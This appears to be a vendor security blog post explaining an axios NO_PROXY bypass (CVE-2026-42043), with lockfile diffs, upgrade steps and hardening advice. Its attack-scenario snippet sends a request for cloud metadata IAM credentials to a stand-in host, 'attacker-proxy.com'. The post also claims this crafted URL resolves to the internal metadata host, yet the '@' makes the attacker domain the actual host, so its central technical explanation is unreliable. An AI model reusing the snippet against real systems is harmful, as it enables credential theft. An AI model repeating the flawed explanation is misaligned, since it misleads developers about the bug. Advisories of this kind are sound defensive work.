Back to Blog
high SEVERITY6 min read

How NO_PROXY bypass via crafted URL happens in Node.js axios and how to fix it

A high-severity vulnerability (CVE-2026-42043) in the axios HTTP client library allowed attackers to bypass NO_PROXY environment variable restrictions using specially crafted URLs. This could route sensitive internal traffic through attacker-controlled proxy servers. The fix upgrades axios from 1.13.6 to 1.18.0, which includes a rewritten proxy resolution mechanism using `proxy-from-env` v2.1.0 and the `https-proxy-agent` package.

O
By Orbis AppSec
Published August 10, 2026Reviewed August 10, 2026

Answer Summary

CVE-2026-42043 is a NO_PROXY bypass vulnerability in the axios HTTP client for Node.js (related to CWE-918, Server-Side Request Forgery). Attackers could craft URLs that circumvent NO_PROXY environment variable rules, causing requests intended for internal services to be routed through an external proxy. The fix is to upgrade axios to version 1.15.1 or later (in this case 1.18.0), which rewrites the proxy resolution logic using `proxy-from-env` v2.1.0 and adds `https-proxy-agent` for secure proxy handling.

Vulnerability at a Glance

cweCWE-918 (Server-Side Request Forgery)
fixUpgrade axios to 1.18.0 with proxy-from-env v2.1.0 and https-proxy-agent v5.0.1
riskSensitive internal requests routed through attacker-controlled proxy
languageJavaScript (Node.js)
root causeInsufficient URL parsing in proxy-from-env v1.x allowed crafted URLs to bypass NO_PROXY rules
vulnerabilityNO_PROXY bypass via crafted URL

Introduction

In a project's package-lock.json, the axios dependency was pinned at version 1.13.6—a version now known to contain a high-severity proxy bypass vulnerability. CVE-2026-42043 allows attackers to craft URLs that circumvent NO_PROXY environment variable rules, potentially routing sensitive internal API calls through an attacker-controlled proxy server.

This is particularly dangerous in microservice architectures and cloud environments where HTTP_PROXY, HTTPS_PROXY, and NO_PROXY environment variables are commonly used to control network egress. If an attacker can influence the URLs that axios requests (even partially), they can force traffic meant for internal services—like databases, authentication servers, or metadata endpoints—to flow through a malicious proxy.

The vulnerability was flagged by Trivy in the package-lock.json file, specifically targeting the axios dependency at version 1.13.6 and its transitive dependency on proxy-from-env v1.1.0.

The Vulnerability Explained

How NO_PROXY Works (And How It Broke)

In Node.js applications using axios, proxy configuration is typically handled through environment variables:

export HTTP_PROXY=http://corporate-proxy:8080
export HTTPS_PROXY=http://corporate-proxy:8080
export NO_PROXY=localhost,127.0.0.1,.internal.company.com

The NO_PROXY variable tells axios: "Don't use the proxy for these hosts—connect directly." This is critical for internal service-to-service communication that should never leave the network.

The Vulnerable Code Path

In axios 1.13.6, the proxy resolution relied on proxy-from-env version 1.1.0:

"node_modules/axios": {
  "version": "1.13.6",
  "dependencies": {
    "follow-redirects": "^1.15.11",
    "form-data": "^4.0.5",
    "proxy-from-env": "^1.1.0"
  }
}

The proxy-from-env v1.x library parsed URLs to determine whether they matched NO_PROXY entries, but its URL parsing logic was insufficient. An attacker could craft a URL with special characters, unusual encoding, or authority-section tricks that would:

  1. Pass the NO_PROXY check — the parser wouldn't recognize the URL as matching an excluded host
  2. Still resolve to the internal host — the actual HTTP request would reach the intended internal target, but via the proxy

Example Attack Scenario

Consider an application that makes requests to an internal metadata service:

const axios = require('axios');

// Environment: NO_PROXY=169.254.169.254
// Environment: HTTPS_PROXY=http://proxy.company.com:8080

// Normal request (correctly bypasses proxy):
await axios.get('http://169.254.169.254/latest/meta-data/iam/credentials');

// Crafted URL that bypasses NO_PROXY check but resolves to same host:
await axios.get('http://169.254.169.254.@attacker-proxy.com/latest/meta-data/iam/credentials');

If an attacker can influence the URL (through user input, SSRF chains, or redirect manipulation), they can force the request through the configured proxy—or worse, through a proxy they control—exposing IAM credentials, API keys, or other sensitive internal data.

Real-World Impact

For this application, the risk includes:
- Cloud metadata exposure: AWS/GCP/Azure metadata endpoints typically protected by NO_PROXY could be accessed via proxy
- Internal API credential theft: Service-to-service authentication tokens routed through external proxies
- Data exfiltration: Internal responses visible to proxy operators
- Compliance violations: Sensitive data leaving the network boundary unexpectedly

The Fix

The fix upgrades axios from version 1.13.6 to 1.18.0, which fundamentally restructures how proxy resolution works.

Before (Vulnerable)

"node_modules/axios": {
  "version": "1.13.6",
  "dependencies": {
    "follow-redirects": "^1.15.11",
    "form-data": "^4.0.5",
    "proxy-from-env": "^1.1.0"
  }
}

After (Fixed)

"node_modules/axios": {
  "version": "1.18.0",
  "dependencies": {
    "follow-redirects": "^1.16.0",
    "form-data": "^4.0.5",
    "https-proxy-agent": "^5.0.1",
    "proxy-from-env": "^2.1.0"
  }
}

Key Changes Explained

1. proxy-from-env upgraded from ^1.1.0 to ^2.1.0

This is the core fix. Version 2.1.0 of proxy-from-env rewrites the URL matching logic to properly canonicalize URLs before comparing them against NO_PROXY entries. It handles:
- URL-encoded characters
- Authority section manipulation
- IPv4/IPv6 address normalization
- Trailing dots in hostnames

2. Addition of https-proxy-agent ^5.0.1

The new version adds https-proxy-agent as a direct dependency, providing proper HTTPS CONNECT tunnel support through proxies. This replaces the previous approach of handling proxy connections inline, adding proper TLS verification when connecting through proxies.

3. New transitive dependency: agent-base 6.0.2

"node_modules/agent-base": {
  "version": "6.0.2",
  "dependencies": {
    "debug": "4"
  },
  "engines": {
    "node": ">= 6.0.0"
  }
}

This supports https-proxy-agent and provides a base class for Node.js HTTP agent implementations with proper lifecycle management.

4. debug package no longer dev-only

The debug package had its "dev": true flag removed because it's now a production dependency (required by agent-basehttps-proxy-agentaxios):

     "node_modules/debug": {
       "version": "4.4.3",
-      "dev": true,
       "license": "MIT",

Why Multiple File Changes Were Necessary

  • package.json: Updated the axios version constraint to allow 1.18.0
  • package-lock.json: Resolved the complete dependency tree including new transitive dependencies (agent-base, https-proxy-agent) and updated versions (proxy-from-env v2.1.0, follow-redirects v1.16.0)

Prevention & Best Practices

1. Pin and Audit Dependencies Regularly

# Run regular vulnerability scans
npm audit
trivy fs --scanners vuln .

2. Use Allowlists for Outbound URLs

Don't rely solely on NO_PROXY—validate outbound URLs at the application level:

const ALLOWED_INTERNAL_HOSTS = new Set([
  '169.254.169.254',
  'internal-api.company.com'
]);

function validateInternalUrl(url) {
  const parsed = new URL(url);
  if (!ALLOWED_INTERNAL_HOSTS.has(parsed.hostname)) {
    throw new Error(`Unauthorized internal host: ${parsed.hostname}`);
  }
  return parsed;
}

3. Network-Level Controls

Even with application-level fixes, implement network segmentation:
- Use firewall rules to restrict which services can reach metadata endpoints
- Implement egress filtering to detect unexpected proxy usage
- Monitor for unusual proxy traffic patterns

4. Enable Dependabot or Renovate

Automated dependency update tools catch these vulnerabilities quickly:

# .github/dependabot.yml
version: 2
updates:
  - package-ecosystem: "npm"
    directory: "/"
    schedule:
      interval: "daily"
    open-pull-requests-limit: 10

5. Consider URL Validation Libraries

Use battle-tested URL parsing libraries (like whatwg-url) for any security-sensitive URL comparison logic rather than implementing custom parsing.

Key Takeaways

  • proxy-from-env v1.x had insufficient URL canonicalization — crafted URLs could bypass NO_PROXY matching even when the environment variable was correctly configured
  • The axios dependency tree change from 3 to 4 direct dependencies (adding https-proxy-agent) indicates a fundamental architectural improvement in proxy handling, not just a patch
  • package-lock.json is a security-critical file — even if your code doesn't directly call proxy logic, a vulnerable transitive dependency in your lock file exposes you
  • NO_PROXY is a defense-in-depth measure, not a security boundary — applications should validate outbound URLs independently of environment variable configuration
  • The debug package moving from dev to production dependency shows how security fixes can have unexpected dependency tree implications that need careful review

How Orbis AppSec Detected This

  • Source: Outbound HTTP requests made by the application through axios, where URL destinations may be influenced by user input or external data
  • Sink: The proxy-from-env v1.1.0 URL matching logic within axios 1.13.6's proxy resolution path
  • Missing control: Proper URL canonicalization before comparing request URLs against NO_PROXY environment variable entries
  • CWE: CWE-918 (Server-Side Request Forgery)
  • Fix: Upgraded axios from 1.13.6 to 1.18.0, pulling in proxy-from-env v2.1.0 with hardened URL parsing and adding https-proxy-agent for secure proxy connections

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.

Conclusion

CVE-2026-42043 demonstrates that proxy configuration—often treated as a deployment concern rather than a security concern—can become a critical attack vector when URL parsing is imprecise. The NO_PROXY bypass in axios 1.13.6 could allow attackers to intercept traffic that developers assumed was safely routed directly to internal services.

The fix is straightforward: upgrade axios to 1.18.0 (or at minimum 1.15.1). But the lesson is broader—any code that makes security decisions based on URL comparison must handle the full complexity of URL syntax, including encoding, authority sections, and hostname normalization. Regularly scanning your dependency tree with tools like Trivy and keeping libraries current remains the most effective defense against known vulnerabilities in the npm ecosystem.

References

Frequently Asked Questions

What is a NO_PROXY bypass vulnerability?

A NO_PROXY bypass occurs when an HTTP client fails to correctly honor the NO_PROXY environment variable, allowing requests that should go directly to internal hosts to instead be routed through a configured proxy server, potentially exposing sensitive data.

How do you prevent NO_PROXY bypass in Node.js?

Use up-to-date HTTP client libraries (like axios ≥1.15.1) that properly parse and validate URLs against NO_PROXY rules, and implement strict URL validation before making outbound requests.

What CWE is NO_PROXY bypass?

CWE-918 (Server-Side Request Forgery) covers scenarios where an attacker can influence the destination of server-side HTTP requests, which includes proxy bypass attacks that redirect traffic through unintended intermediaries.

Is setting NO_PROXY enough to prevent proxy-related attacks?

No. Setting NO_PROXY is necessary but not sufficient—the HTTP client library must correctly parse and enforce the NO_PROXY rules. Vulnerable parsers can be tricked by crafted URLs containing special characters or unusual formatting.

Can static analysis detect NO_PROXY bypass vulnerabilities?

Yes. Tools like Trivy can detect known vulnerable versions of libraries like axios by scanning dependency manifests (package-lock.json). Software Composition Analysis (SCA) is the primary detection method for this class of vulnerability.

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #29

Related Articles

critical

How Sensitive Data Exposure in Error Logging happens in TypeScript/Deno and how to fix it

A critical vulnerability in Supabase Edge Functions allowed sensitive authentication errors and API credentials to leak through verbose error logging. The `cancel-subscription/index.ts` function logged full error objects to the console, potentially exposing Paddle API keys and auth tokens in deployment logs. The fix sanitizes all error messages to log only safe error text while preserving debugging capability.

critical

How HTTP Header Injection Happens in Go and How to Fix It

A critical vulnerability in the file upload handler allowed attackers to inject CRLF sequences into HTTP response headers through crafted filenames. The fix sanitizes user-supplied filenames before using them in Content-Disposition headers, preventing header injection attacks that could lead to cache poisoning, session fixation, or XSS.

high

How Path Traversal and Security Policy Bypass Happens in Node.js Dependencies and How to Fix It

A high-severity vulnerability in the fast-uri package (CVE-2026-6321) allowed attackers to bypass security policies through improper Unicode hostname canonicalization and path traversal. This issue affected the @apralabs/apra-fleet project through its dependency tree, and was resolved by upgrading fast-uri from version 3.1.0 to 4.1.2 using npm overrides.

high

How Command Injection happens in Node.js child_process calls and how to fix it

A high-severity command injection vulnerability was discovered in `tools/utils/lang/helpers.ts` where the `prettier()` function passed a user-controllable `fileName` argument directly into a shell command string via `exec()`. By replacing `exec()` with `execFile()` and passing arguments as an array, the fix eliminates shell interpolation entirely, preventing attackers from injecting arbitrary shell commands through malicious filenames.

high

How Quadratic CPU Consumption in YAML Parsing happens in JavaScript and how to fix it

A high-severity vulnerability in js-yaml versions 3.x and 4.x allowed attackers to cause quadratic CPU consumption through specially crafted YAML documents using the `!!omap` type. This denial-of-service vulnerability (GHSA-5p4m-2wfm-xmqj) was fixed by upgrading from js-yaml 4.3.0 to 4.3.1, protecting applications from algorithmic complexity attacks during YAML parsing.

high

How Arbitrary HTTP Header Injection via Prototype Pollution happens in JavaScript and how to fix it

A high-severity vulnerability (CVE-2026-42035) in axios version 1.13.5 allowed attackers to inject arbitrary HTTP headers through prototype pollution. The fix upgrades axios to version 1.18.0 in the frontend's dependency tree, which includes proper prototype chain validation when constructing HTTP request headers. This prevents attackers from manipulating outgoing requests to perform SSRF, session hijacking, or cache poisoning attacks.